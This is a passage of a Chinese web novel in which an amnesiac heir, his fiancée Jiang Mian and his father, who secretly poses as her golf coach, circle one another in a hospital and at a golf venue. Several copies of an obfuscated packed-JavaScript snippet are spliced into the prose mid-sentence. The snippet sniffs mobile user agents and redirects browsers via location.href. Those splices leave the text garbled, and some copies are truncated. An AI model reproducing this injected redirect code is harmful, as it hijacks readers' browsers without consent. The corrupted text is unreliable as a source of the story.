但孟逐根本就不爱打高尔夫,这个所谓的朋友对她说这些,显然居心不良,还把人叫到没什么人的室内场馆,现在揭穿放她回去,对方如果有心,只会找下一个借口。 孟祯先没从女孩那里继续刨根究底,而是拿着球杆,起身走到白色发球点前,道:“你以前接触过高尔夫吗?” 因为刚才的反问,江绵好像有点想打退堂鼓,但听到自己说,还是诚实地道:“没有。” 孟祯先放好球,转头问她,“一点都没碰过?” 江绵想了想,“看别人打过算吗?” 孟祯先把她叫到发球点前,热身完毕,自己示范了一遍,然后道:“你来一遍。” 江绵深吸口气,抡起球杆,朝前一挥,球还在原点,球杆一头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889684|192187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却深深凿进了草地里。 孟祯先:“……” 孟祯先:“你是来锄地的?” 江绵有点不服气,“本来就是不会才来报班的,会就不用学了。” “你这个水平连初级班都没人要。”孟祯先拔出她的球杆,倒掉上面的泥巴,还给她,“你回去吧,比起投其所好,不如多关注下什么才是对方最需要的。” 江绵抱住球杆,有点生气地看了他一眼,转身就走。 孟祯先以为经过自己这番打击,她不会再碰高尔夫,就看到一名教练走进场馆,不是别人,正是周威。 周威似乎在找什么人,一入场就环顾四周,目光在场馆内逡巡。 不能让这两人撞上。 不知怎么,孟祯先脑海中突然生出这个想法,他叫住女孩,“我改变主意了。” 江绵回过头,“嗯?” 孟祯先走到女孩外侧,将人从另一侧的门带出场馆,“先去缴费,之后我再通知你上课时间。” 江绵虽然还是有点生气,但“周威”的教学质量据说是这里最好的,因此,嘴巴坏点也不是不能容忍的了。 她答应下来。 * “周威”走到一半,就以还有课要上为理由先走了,江绵也没阻拦,她去办好年卡,缴完费,才回到和楚沛约定的地方。 楚沛担心徐然把今天见到自己的事告诉孟逐,徐然也在忌惮楚沛打扰自己的算盘,两个人的机锋一时半会儿打不完。 江绵在那里等了会儿,才见到他回来。 日头被浓云覆盖,四下里有些凉意,楚沛也没有继续约会的心思了。只是把人拉出来坐了会儿冷板凳就回去,弄得好像他好像故意恶作剧似的。 “今天真的不好意思,”楚沛怀疑徐然知道自己要做什么,但对着江绵他又不好明说,只是道,“等那么久饿了吧,我们去吃午饭怎么样?我知道一家很棒的餐厅。” 江绵达成了目的,此刻很好说话,“可以呀。” 楚沛不知道他离开的这期间发生的事,还以为这只是对方照顾自己心情,对江绵的观感更好了。 * 室内场馆里,周威绕着草地走了好几圈,等那两人都走很久了,才给刚才给了一大笔小费找自己帮忙的陌生账号发了消息,“已经照您说的做了,还有什么事吗?”就这么逛一圈,什么都不做,总觉得钱来得太容易太不安心了。 对面回得很快,“这样就可以了。” 周威:“好的。” 他删掉对方的联系方式,回休息室。本来就是趁下课时间出来的,正要回去上课,就被经理叫住了,“老周,你过来一下。” 周威心里一唬,以为自己收客人小费的事被发现了,正要说自己什么都没干,经理却跟他说了件不相干的事。 大致是有位老客户想借他的名头教个学生,让他在自己教学时间取消正在进行的其他课时,取消的课时费对方会补给他。 周威:“不会是搞诈骗的吧?”他可不想好不容易做起来的招牌砸了。 “这你就不用担心了。”经理道,“这位是我们老板都得罪不起的大客户,不会出事的。” 见经理做了保证,课时费也提前到手,周威这才没有声张。 11. 过渡品 周威这边是解决掉了,孟逐那里就没那么太平了。 江绵走后,他爸来了一趟。 孟逐原本以为是江绵告了状,不然怎么前脚把人骂走,后脚他爸就来了。结果他爸一个字也没提江绵,好像完全没想起有这个人似的。 孟逐对他爸还算了解。 要是被他知道江绵是被自己骂走的,绝对不会还那么冷静坐下来跟自己谈。别说他现在一条腿骨折了,就是爬,他也会让他爬过去跟人道歉。 那个人倒不是多在意江家,只是个性严厉古板惯了,在他面前许下的承诺就没有反悔的余地。而楚沛陪床时就跟他说过,把江绵当作结婚对象的事,是他自己和他爸提的。 可是,就算这么想,也未免太不在意了吧。 真放心把人丢他这里啊? 江绵也是。 买个水买到哪里去了。 孟逐心里骂骂咧咧,动作却不含糊。让安保陪他去楼下散了会儿步,便以走累了为理由,钻进门卫室,问门卫大姐借了座机。 孟逐年轻俊秀,又拄着拐,正常说话时还是极具欺骗性的。 大姐不但没拒绝,还好心地帮他把座机搬到面前。 孟逐谢过大姐,拿起话筒,又顿住了。 ……江绵的号码是多少来着? 算了。 还是先打给楚沛好了。 既然他爸没注意江绵,说明她没有告状,他过来只是巧合,孟逐还没蠢到自己讨骂。 而且,楚沛是个昼夜颠倒的夜猫子,晚上联系他比白天接通的可能性更大。 一般来说是这样的。 但今天有些不同。 楚沛发完消息就回去睡了,手机丢店里充电,没接到。 孟逐没等到回音,疑惑地看了眼听筒,又给楚沛店里打了电话,才知道他睡下了。 这个人晚上不睡白天不起的,要他帮忙的时候么,就知道早睡了。 孟逐有点无语,正要跟对方说,让楚沛明天醒了过来一趟,接电话的女孩便道:“孟少,你怎么那么久不来店里玩了~大家都很想你呢,小婷和娇娇没等到你,都离职去其他夜店了。” 孟逐:“我不是——“ 他想说他不是才去过吗,就想起他记得的“才”和她们记得的“才”中间隔了大半年。 他本来对医生说的失忆没什么具体概念的,不管周围人怎么劝,他还是喜欢常悦瑶,还是怨恨她和徐然联手背叛自己,还是想把他们的关系拨回正轨,把那个莫名其妙钻出来以自己女友自居的江绵当成陌生人,但从第三方嘴里听到自己的生活痕迹是不同的。 这种感觉就像掩耳盗铃的人,突然被揭开手,听见真实世界的声音一样。 这是所有人都坚称他失忆以来那么久,孟逐头一回有了想了解自己到底丢失了什么记忆的兴趣。 就算是之前江绵走时,胸口剧痛的那下,都没让他有这种念头。但现在不行,江绵不见了,他得确保人没事才有那个心情。 “最近没空。” “啊,那你什么时候有空啊?” 孟逐被问得有点烦,“说了没空就是没空,记得把我的话转告给楚沛。” 挂断电话,孟逐就把座机还给了大姐。 只不过这次,大姐的态度有点微妙。 原本以为是个容貌出色的可怜年轻人,但刚才话筒对面的女孩音量不小,听得出他们在说的,不是什么少儿皆宜的内容。 接过座机时,都只握刚才孟逐没碰到过的地方,好像嫌弃他不干净。 孟逐还在想江绵的事,倒没注意到这些。 从门卫室出来,他就没有继续散步的意思了,让安保带自己回去。 这个天气的深夜很冷,值班本来就够辛苦了。要不是孟逐“突发恶疾”要散步,他也不乐意出来。 见孟逐停止发病,立刻带人返回住院部。他想的是,等人消停了,还能在换班前,找张空床眯一会儿。 结果这位大少爷今晚不知怎么搞的,回病房也不睡觉。 一会儿出来扔个易拉罐,一会儿又一瘸一拐地晃到电梯间和安全通道那边。 也不要人陪,也不找东西,就搁哪里纯晃,不知道搞什么名堂。 但每出来一次,脸色就难看一次,谁也不敢问。 愣是将他熬到换班都没眯上过眼。 怨气冲天的换完班,接替的同事还没来得及疑惑,就被孟逐叫住了,“那个谁,陪我去楼下散会儿步。” * 楚沛是在餐厅用餐时,接到孟逐电话的。 他犹豫了会儿,还是挂了。 心里默默说了句对不住。 今天的约会虽然过程有些失败,但整体还算尽如人意。 他不想那么快就破坏。 再说,他也没真的要做什么,孟逐也不喜欢人家,不能连这点希望都不给自己吧。 倒扣手机,楚沛又坦然了。 江绵不是很喜欢说话的类型,大部分时候都在听他说话。 但不管他抛出什么梗,她都能接住,一些专业领域的话题,也能恰到好处的指出关键。这种有来有往的感觉,让楚沛感觉非常有趣。 而且,她吃东西的样子也很可爱。 楚沛虽然爱玩,喜欢的女生却还是大众最喜欢的那种,外表清纯无辜,做派又端庄优雅的类型。 而不论是长相还是专业,江绵都切中他的审美。但又不完全。在某些地方的迟钝,又中合了这种距离感。 比如,她吃东西时吃到一半会突然走神,好像被虚空中的什么吸引了视线;下车时,会忘记给孟逐带的花束,打开车门就要离开。 还是他提醒,才想起来。 “谢谢。” 江绵抱起鲜花,从车上下来。 她换回了自己的衣服,气质立刻柔和起来,虽然只是一套衣服,但看起来又回到了孟逐女友的身份,楚沛有点感慨。 他还是更喜欢她穿运动服的样子。 “江绵。” 楚沛叫住她,见对方驻足望来,又有些失语。他并不是那种不善言辞的个性,只一停顿,便笑道,“见到孟逐,别跟他说我们刚才说的事。不然等他出院,我就遭殃了。” 楚沛说的,是指徐然找他要钱的事。 他今天约她出去,也用的这个理由。 “孟逐他爸不会放过任何一个打击对手的机会。” 虽然徐家对弘光根本构不成威胁,但不这么说,他哪有借口把人约出来呢。 “他们家现在到处是债主,我跟徐然那么多年兄弟,找我要点钱,给就给了。” “要是他找你要,就是拿孟逐威胁,也别给。” 楚沛说这话时倒是真心的,徐然这个人有点阴险劲在的,就是他和孟逐闹掰,自己又站孟逐,也不会和他撕破脸,就是考虑到这一层。 江绵看了眼男生明亮的笑容,“好。” * 松城这几年在评选文明城市,路上看不到几个垃圾桶。 就连医院楼下也是。 江绵抱着花,走进大门时,没找到丢花的地方,正想进楼再扔,就看到一个头发乱糟糟,顶着两个黑眼圈的青年被高大的安保陪同下,从西门的方向朝住院部这边走来。 江绵在二楼,孟逐在一楼,他没注意到她,拄着拐走得很慢,头发在狂风中飞舞,脸色看起来比天色还臭。 边上的安保倒是没什么表情,只是看起来有种忽然之间顿悟什么的意味。 江绵看了眼怀里的花,朝电梯走去。 借他往前推了进度,这会儿,她还是能匀出点耐心的。 毕竟楚沛挂断他的电话时,她就坐在对面。 * 孟逐此刻情绪很差。 是的,他理解他爸那个人很吓人,足够让楚沛和常悦瑶都对他退避三舍,但事情也要分轻重缓急吧。 他不是都让那个婷婷还是娇娇的转达了他的原话吗? 楚沛但凡还想跟他来往,就该知道这件事的严重性。 孟逐是没考虑过对方忘记的可能性,在他印象里,自己还是那个声名恶劣的形象,没想过人家早就对他改观了,以至于没那么害怕才给抛在了脑后。 他埋怨楚沛胆小。 推开病房门时还在想要不要干脆叫人去趟江绵家里,她家的地址和她爸工作单位他都知道,上次找楚沛查到的文件还塞在他床头柜抽屉里。 毕竟一个成年人失踪不到24小时还不能立案。 正想着,孟逐的目光就凝住了。 女孩站在两张床中间的床头柜前,正在将沾着露珠的白桔梗插.进花瓶里。见到他进来,宛如没事人一般展颜笑道:“你回来了?” 孟逐:“……” 孟逐用了很大的意志力,才忍住冲过去质问对方一整晚跑哪去了,为什么都不留个消息就走的想法,毕竟话是他自己说的,人是他自己赶的,才过去这么点时间就改口,那不是打他脸吗? 他舌尖抵了下上颚,装出若无其事地语气,“你什么时候来的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889685|192187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “刚刚。” 女孩好像知道他要问什么,“昨晚……” 她顿了顿,换了更柔和的语气,“昨晚去买水时,我爸发消息说想我了,我就回去住了一晚。你吃过午饭了吗?” 原来是回家了啊。 也对,按她的个性,回家才正常。 孟逐心里松了口气,同时也怀疑江绵在撒谎。江远庭是神仙吗,就那么巧给他女儿发消息。不过,她这么说也是为了让自己不那么尴尬,他也不会没眼见地拆穿。 只是为了找她,他一上午把能问的人都问遍了,饭也没吃,还挨了门卫大姐好几次白眼。见她安然无恙,放下心来之后又有种被耍了的恼怒。 但看到那束白桔梗,怒气也缓缓消弭下来,连崩溃到跑回家,都还记得给他买花的人,还能说什么呢。 孟逐绷着脸应了声,拄着拐走进去。 * 经历了两次事件后,孟逐不再轻易作妖,脾气收敛不少。 他如今行动不便,没办法躲开安保,江绵又是个什么事都往心里藏的闷葫芦,事不过三,他不能保证再来一次,会不会真的出事。 只是比之前,更避着她。 话也更少了。 以前还能拌拌嘴,现在一天到晚能不交流就不交流。 不过,气氛倒还算得上平静。 江绵也没再给孟祯先发孟逐的“每日报告”,在病房修改乐谱时,换成了手写。 孟逐有次碰见,还以为她是因为自己这么做,眼神有点怪怪的,江绵也没有特地说明。 从高尔夫球馆回来,楚沛还约过她几次。 江绵找借口婉拒了。 大概看出她兴致缺缺,楚沛的消息频率逐渐降低,热情也慢慢淡下来,原本还每天往她家里寄礼物,东西贵重到连江父都问她怎么回事,后面降低到一周一次,之后就不再送了。 过了几天,“周威”教练给她发了课表,一周两节,一节一小时,集中在周三晚上八点到九点,场地就在他们之前见面的那间室内场馆。 江绵看了眼正在打游戏的孟逐,编辑内容,[教练,需要带什么东西吗?] [不用。] [好的,教练。] 江绵回了一个猫咪表情包。 放下手机,继续修乐谱。 孟逐分神看了她一眼,发现江绵唇角微翘,好像刚遇到了高兴的事。他看了眼她放在笔袋边的手机,心里有点犯嘀咕。 跟谁聊天呢这么高兴。 想归想,倒没怀疑到她变心上去。 他恢复记忆的事遥遥无期,公司的业务也忘得一干二净,就算江绵想通过嫁给自己当弘光老板娘,也完全没必要委屈自己到这个程度。 她必须是很爱很爱他,才愿意吃这个苦的。 孟逐是他认识的人里,对感情最专一那个,但那是他对常悦瑶的,这还是第一次有人这么对他。 怎么讲呢。 与其说新奇,不如说坐立难安。 他无法违背自己的心,也无法回应那么沉重的感情,这注定是得不到回报的付出,所以保持现状,就是他目前能让她没那么伤心的事了。 和他的脑子不同,他的腿伤恢复很快。 过去才一个月,骨头就长好不少了,拍出来的片子里,医生都夸他恢复很快。 这是近期最好的消息了。 孟逐感觉充斥消毒水气味的空气都清新甘甜了不少,见到江绵从洗手间出来,难得想跟她分享下自己的喜悦,就发现女生换了外出的打扮。 “……你要出去?” 江绵已经习惯安静的病房了,乍一听见他的声音,愣了愣,才点头。 孟逐打量了眼她,又看了眼天色,脸色有点古怪,“你要回家?” 江绵:“我报了个私教。” 孟逐:“什么时候报的?” 她不是除了去学校考试就待病房里吗?哪天出去了。 “不认识的人打着为你好的旗号每天在眼前晃,换作是谁也会嫌烦的,”女孩嗓音轻柔,“我想给大家一点私人空间。” 孟逐听得不太舒服,把姿态放那么低干嘛,说得他好像很不做人似的。 孟逐本来还想跟她提骨折的事,见状也不想开口了。 他自己先闹的,如今台子架高了下不来,只能困在上面,“知道了。”顿了顿,生硬地补充:“路上注意安全,要是回家住,提前说一声。” 江绵:“……” 江绵微笑,“我会的。” 12. 过渡品 江绵走后,孟逐感觉胸口闷闷的,不太舒服,好像有什么超出掌控的事即将发生了。 他今天做过检查,心脏没有问题,找不出不舒服的原因,比单纯的不适更令人心烦。 难道是屋里空气不流通? 明明刚才他还觉得很清新呢。 孟逐走到楼下,在夜晚的乡间溜达了一会儿,感受了新鲜空气,没得到任何缓解。 他思索了会儿,还是顶着门卫大姐略带鄙夷的眼神,厚着脸皮再次借了座机,“喂,小娇是吧?跟你打听点事。” * 远处的高尔夫球馆从道路尽头浮现出轮廓。 孟祯先坐在后排,视线从球馆的外墙落到放到身旁空座上的那根曼佛球杆上。 这是一根适合新手的球杆,尽管它的用材相对昂贵,年代也有些久了,但对初学者而言,用这根球杆会比球馆提供的基础球杆上手更快。 这是他学高尔夫时,母亲送给他的。 到了孟逐学球的年纪也没拿出来,而是换了一根更贵的新球杆给他。 不过,孟逐对这项运动不感兴趣,学了没多久就不了了之。 孟祯先原本也想这么对江绵的。 给她挑一根精美的球杆——她很快就会发现,她喜欢的男孩根本不喜欢高尔夫,学了个入门就放弃,亦或者连这种程度都不到。 然而,在收藏室走了一圈,他还是选择了这根。 很难不说,这里有他的私心。 孟祯先完全可以在允诺以后,让经理找个教练代替自己,实在不放心,可以从外面找一个。以他的能力,想找一名合格的教练不成问题。实在没必要从繁忙的工作中抽出少许的休息时间,只为了陪一个为了挽回恋人的心的小女孩练球。 也不需要动用自己的球杆。 但私心也不是什么不好的东西,人对美好的事物保留憧憬和向往再正常不过,而且,他并没有僭越什么。 孟祯先想,他只是在替没有恢复记忆的儿子守住他的恋情。 比起那些随意能被买通,缺乏信用度的球馆教练,由他来教是更稳妥、更安全的选择。 他的球技虽然没有那些供应商吹嘘得夸张,但带人入门,还是足够了。 尤其是从监控中看到,陪她来球馆的男人是楚沛,而楚沛见面的人还是徐然后,愈发鉴定了这个念头。 徐奎受到丁点挫折就一蹶不振,他那个儿子倒有些令他刮目相看。 不论是迅速调整好状态,还是明知破产迫在眉睫,还在竭力拉投资,试图挽救败势的决心。 不过,也是在用他那无用的父亲作对比的前提下罢了。 过去的岁月里,孟祯先见过不少像他这样的年轻人。比他更能拉得下脸,手段更加高明的也不是没有。 孟祯先不去理会他那些小动作,只要徐然不要妄图将无辜的岸上人拉入水中。 至于楚沛,并非没有疑心过他,只是比起心思深沉的徐然,像这种依附家族生存的米虫,实在闹不起不出风浪。 稍加敲打一下,他就安分了。 不到必要时刻,连敲打的意思都没有。 即使知道对方作为儿子的好友,还在趁朋友生病期间,试图勾引朋友的女友。 孟祯先注视着那根深棕色的球杆,不知想到哪里,移开了视线。 * 江绵到得很早。 她热了会儿身,然后缩在看台上看书。 阴影从头顶蔓下来时,以为有人挡住自己灯光般,抬起脸,看了对方一眼。 孟祯先还是那天见面时的穿着。 不过大概是夜晚的场馆灯光更亮的缘故,他的口罩和鸭舌帽戴得更加严实,只露出一双眼皮微凹的深邃眉眼。 好像以为她是因为这身穿着误会的,因此,延用了这套运动服。 但他似乎换得有点匆忙,短袖下摆虽然打理得整齐,衬衫的腿夹却没有摘掉。偏偏他又勤于锻炼,年近不惑的人,肩平腰直,轮廓周正,腿型长而瞩目,即使套在修身的运动裤里,难以忽视的微妙凸起,未免带出莫名的色气。 孟祯先好像没发觉,仍然目光沉稳地注视着她,给他增添了一分不自知的魅力。 “热身没有?” 江绵合上书,看了眼倒计时,“周教练,你迟到了十五分二十秒。” 她的语气有些不高兴,在听说他迟到的原因,不是堵车或者生病之类司空见惯的理由,而是为她挑选合适的球杆后,稍微缓和了点。 只是清丽的面庞上有些淡淡地犹疑,“真的可以给我用吗?” 就算江绵没接触过,但她又不是分不清好赖。 这根球杆做工精细,入手结实,一看就不会便宜到哪里去。 孟祯先见她看着球杆没动,好像心存顾虑,主动拿出球杆,放到女孩手上。 这是一根漆成棕黑的合金球杆。 他使用时,从来没觉得哪里不对,但落到江绵手上,看着她接过去,用没带手套的白嫩手指,细细抚过杆身时,莫名有些不太对味。 她穿着场馆的运动服,短外套将腰身勾勒得很细,随着抬手的动作,露出一截又白又韧的小腹。 修剪得圆润,涂了淡粉的指甲,平时并不明显,但衬着棕黑,就显得清晰、惹人遐想起来。 她把球杆竖起来,好像还想敲一敲杆面是否结实。 孟祯先制止道,“先去试一杆。” 某些瞬间,他甚或疑心女孩是故意的,但对方应承极快的速度,以及一如既往的,自信又奇烂的球技,又让他明白自己想多了。 孟祯先看了眼江绵脚边铲出的深深浅浅的泥坑和滚动的小球,突然觉得自己先前想的,把人带入门的念头有点一厢情愿了。 事实上,几十分钟的课时后,发现对方还是块榆木疙瘩后,孟祯先开始认真考虑起是不是自己技术有问题,所以才教不会她。 “你过来。” 江绵停下挥杆,走过去。她以为他又要示范一遍,让自己照做,就被拉到最近的一个洞口。 “把你的球推进去。” “……推?” 江绵以为孟祯先会教得特别严格,没想到他直接带她作弊,正以为他是不是挤兑自己,就听男人道:“你要先享受运动的乐趣,才能学会它,即使你最初的目的,并不是为了学它。” 孟祯先说这些话时,和上次让她放弃时不太一样。 他没有一上来就指责她技术差,也没有抱怨自己白讲了那么多要点,深潭般的黑眸沉静内敛,嗓音平静地叙述道:“试一试。” 江绵想了想,还是照他说的做了。 她打不来球不是装的,因此,看进打了一晚上没进去的球终于入洞了,还是有点开心地。不过,只有开心了那么一会儿。 孟祯先弯腰捡起球,放到离洞口稍远的位置,“再推一次。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原来不是女人,而是母亲吗? 她发现自己居然从来没往这方面想过。 一直以来,孟祯先才是那个阻挠男女主的反派,而孟祯先的母亲,孟逐的奶奶,只在孙子和儿子决裂后,与常悦瑶举行婚礼时,露了一下脸。 再前面跌宕的剧情里,几乎没怎么出场过。从在两个小辈缠斗时,没有出手没有制止,只出席了孙子的婚礼可以窥见,这位孟董相对于儿子,更疼爱孟逐。 但她将孟家给儿媳备下的高定珠宝送到常悦瑶手上时,说出的那番话有些意味深长,“你以前的事,我都知道。但过去就过去了,以后的日子,你们要一直幸福下去。” 比起祝福更像威胁的话,显然不大符合大团圆结局的调性。 但原文里,常悦瑶听完僵硬了下,就被孟逐大段大段激动地心理描写盖过去了,将女主角的警惕描述成对奶奶祝福的感激和无法报答的忐忑,一笔带过。 这么看的话,很有可能不赞同男女主交往的不止是孟祯先,还有孟董。 但如果孟祯先和孟董是一派的,那又解释不了为什么孟董在长子被撵出弘光时,没有出手,而是放任自流,还有他耳后深刻的抓痕了。 早知道还要多攻略一个,应该趁孟逐没失忆前,多问点他的家事了。 不过以他那个妄自尊大的个性,如果她问多了估计也会怀疑自己用心。当时没问也是正常的考量。 江绵把球杆放回去,拉上球包拉链。 13. 过渡品 “小娇”是楚沛开的那家夜店的店长。 尽管她多次纠正,自己叫Lily,不叫“小娇”,但孟逐懒得改口,她只好憋屈地接受了这个名字。 “孟少要打听什么?” 小娇以为孟逐要问楚沛,因为楚沛最近总是一副气压很低的样子,好像在谁那里吃了跟头。 她想当然认为是孟逐,听到对面说的内容时,连忙看了眼办公室的方向,语气搪塞,“我哪知道那么多啊……” 她想说自己只是来上班的,对他们的事不了解,但孟逐又不是除了楚沛就没有其他的熟人了,这种话问一下就知搪塞,是以放了下狠话,对面就动摇了,“好了好了,我说就是了。” 小娇的口条平平,但毕竟当店长的人,逻辑还是很清晰的。 孟逐原本只是对自己遗忘的那段记忆有点感兴趣,越听到后面神色却越凝重。 吊诡的是,尽管他对小娇的话保持怀疑,但对方所说的,和楚沛特意避开没提的内容重合上来了,难怪他当时听着奇怪呢。 这么听,悦瑶压根不是因为他爸才拒绝复合,而是因为他自己,他荒废无度,不思进取,让她失望了。 有那么一瞬,孟逐几乎想立刻冲到常家,告诉常悦瑶他没有背叛过她,但甫一升起这个念头,另一道窈窕的身影便从脑海浮现。 如果他真的什么都没做,江绵又是怎么回事? 总不会无缘无故冒出来的吧? 正要这么追问,孟逐就看到一辆出租车停在医院大门外的街道旁,穿奶杏色大衣的女孩从车上下来,提着球包朝大门的方向走来。 她素着脸,长发有些凌乱地压在围巾下,两颊粉扑扑的,好像刚洗过澡。 孟逐捂住听筒,“明天再说。” 说完,立刻撂了电话,推开门,装作没事人一般和江绵招呼道:“你回来了。” 江绵大概没想到会在这里见到自己,目光微讶,“你——” “我下来散步。” 孟逐抢答道。 他说这话时,担心她联想到之前骗她的事,语气有些刻意地冷淡。 但对方只是看了他一眼,便停下脚,摘下自己的围巾拢到他脖子上。 围巾是经典的格纹款式,上面带着他在江绵身上闻到过的,清幽静谧的馨香,还有温温的热度,仿佛圈住脖子的不是围巾,而是她的臂弯一样。 孟逐身体一僵,正要伸手去扯,余光瞥到女孩那双有些忐忑的杏眸,仿佛他一扯开,她就会哭出来的样子,又顿住了。 他放下手,故作不屑:“谢了。” 江绵不知道青年在短短几秒钟内经历了怎样的心理活动。 但看他做出一副为她牺牲很大的神态,还是配合地笑了下,轻声道:“不客气。” * 江绵的高尔夫球学得逐渐熟练时,孟逐也从小娇那里把来龙去脉了解得差不多了。 小娇和孟逐的交情不深。 不仅是她,“娇娇”和“小婷”她们,也只是在店里干过一阵,而孟逐又刚好在那段时间常来光顾的年轻公子哥里,最有钱最帅气那类。 他和江绵那些事,还是她们看他很久不来店里,缠着楚沛打听出来的,她在边上听了一耳朵而已。 不过,她之所以愿意告诉孟逐,也不是出自善意或怕他,而是知道对方出手阔绰,准备回头拿点好处而已。 孟逐对这套流程也很明白。 他手上是没可流动资金,但随便从家里拿一样藏品就能打发了。 然而,得到全部经过的孟逐,没有自己想象中的解脱。 那怎么会是真的? 他盘腿坐在病床上,连喜欢的游戏都打不下去。 晚上护工扶他去浴室洗漱时,担心地滑,走得很慢,也被他不耐地推开,“你没吃饭吗?!” 护工对孟逐这个隔三差五就要发癫的脾气也差不多习惯了,正要当作没听见,就听江绵道:“孟逐,你能不能少说两句?” 江绵平日不怎么吭声,她总是安安静静地待在沙发上改乐谱看看书,要不是她长得实在漂亮,护工有时都要忘了还有这个人。 这会儿见她为自己说话,护工有些受宠若惊,正要表示感谢,身旁的青年就用鼻子冷哼一声,“嫌我骂到他,那你来替他干啊。” 孟逐学乖了,即使在气头上,也没再说“不想听就滚”之类的重话,但这种挑衅也不怎么和善就是了。 他以为江绵不会搭理,毕竟她在这里住了那么久,干得最多的话,就是叫他起来吃饭。没想到女孩真的站起身,对护工道:“今天先下班吧。” “这……” 护工知道江绵是孟先生叫来管孟逐的,但他每天面对的客户还是孟逐,嘴上也不敢立刻答应。 孟逐看他这个期期艾艾的样子,哪有不明白的。他看他心烦,他还不乐意他照顾自己呢。 “没听见她的话?” “好的,孟少。” 护工迫不及待地出去了。 孟逐收回视线,正要拄着拐进浴室,就见女孩走过来,搀住了他。 看架势,她还真想帮他洗。孟逐心生缩意,但想到话是自己说的,还是梗着脖子往前走。 浴室里热气氤氲。 以为江绵把他扶到淋浴头下方的转移椅上就会离开的孟逐,看到对方居然蹲下来,准备帮他解纽扣。 女孩的手指细软白嫩,解纽扣的速度却又快又灵活。孟逐还来不及阻止,他的加绒病号服就被解开了,露出肌理分明的胸膛。 相当近的距离。 比这更可怕的是,当江绵的指尖抚过他的皮肤时,孟逐发现他感到的既不是惊慌,也不是抵触,而是除了被抚过的那块皮肤,其他皮肤也在疯狂叫嚣着要被多摸一点、再多揉一点的热烈渴望。 仿佛自己是一个无人问津多年的壁炉,一点点火苗就能引燃他最深处的篝火,哪怕那团篝火只是多年前旅客留下的灰烬,燃不了多久。 这比她愿意帮他洗澡还要吓人。 难道他是变态吗? 就像楚沛那个店长跟他说的一样,在常悦瑶离开的第四个月,他就脱离了泥沼般的生活,在另一个人身上,重新找到了生活的轴心。 而那个轴心—— 轴心正在往下探去,孟逐一下子攥住了她的手腕,“就到这里。” 他的嗓音紧成一根弦,仿佛随时都要迸断。 江绵没有挣脱,而是任由他桎梏着自己,语气轻缓,“我去戴下眼罩吧。” 戴眼罩? 她以为他是因为被她看到身体才这么抗拒的,还是在炫耀她闭着眼都能脱掉他的裤子? 孟逐被无语笑了。 有那么一会儿,他都要赌气坚持下来了,但一接触到女孩不加掩饰的目光,又败下阵来,“不用了。” 他生硬地、气馁地重复:“不用了。” 江绵顺从地揭过了这一茬。 孟逐花了两个多小时才完成洗漱。 中途,他不断后悔为什么要让护工提前走,自己洗澡完全是自讨苦吃。 不过,护工不在也有不在的好处。 身体和大脑分割成两半,各自有了自己的意志。 一遍遍冲洗手指时,孟逐面无表情地想道。 而这似乎只是个开端。 这天夜里,孟逐做了一个梦。 失忆之后,他经常做梦。 大部分时候,梦境都是不连贯的,今晚的梦里,却头一回清晰地出现了江绵的身影。 即使梦的主角是自己,看到他们如何在一起的经过,孟逐也忍不住想骂一句混蛋。但他还没来得及出口,就惊醒了。 天光明亮。 病房里一个人都没有,护工站在床边,手里拿着他之前被刘秘书收回去的手机,“孟少,你的电话。” 孟逐挣扎着坐起,还没问上一句他爸怎么突然同意把手机还给他,江绵又去哪了,就看到来电显示上的备注。 他面色微变,拿过手机,接通,“喂?” * 江绵收到婚纱店的回复时,毫不意外孟逐拒绝了试礼服的提议。 这两套礼服是去年,在陈女士生病前就跟一家主做高端市场的婚纱店预订的,最近才刚刚拿到货。 西服和婚纱的尾款当时就结清了,对方来电,倒不是通知他们缴费,而是孟逐去定衣服时提过日子。 店里的裁缝要赶在婚礼前,让他们再试几遍,该改的尺寸再改一下,免得哪里不合身,影响观感。 但这场婚礼最终是没能顺利举办的。 孟逐会拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889687|192187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很合理。 不过,江绵却不打算放过这段剧情。 她先给店员回了消息,然后点开周威的头像,[周教练,这两天我不去练球了。] [?] 为了更好的冒充周威,孟祯先买了台新手机,注册了一个小号,只有周三周四会打开。起先是这样,后来演变到随时会打开看看。 江绵经常给他发日常,包括不限于问练球的诀窍,在球馆发现的松鼠和海鸥,抱怨自己扭到手腕,不能弹琴,还问他是不是一周只上两天班,因为其他日子都见不到他。 每当他感到烦闷时,打开她的消息看一会儿,就会忍不住笑出来。 只要不在自己面前,江绵是一个很容易让人心生好感的女孩。 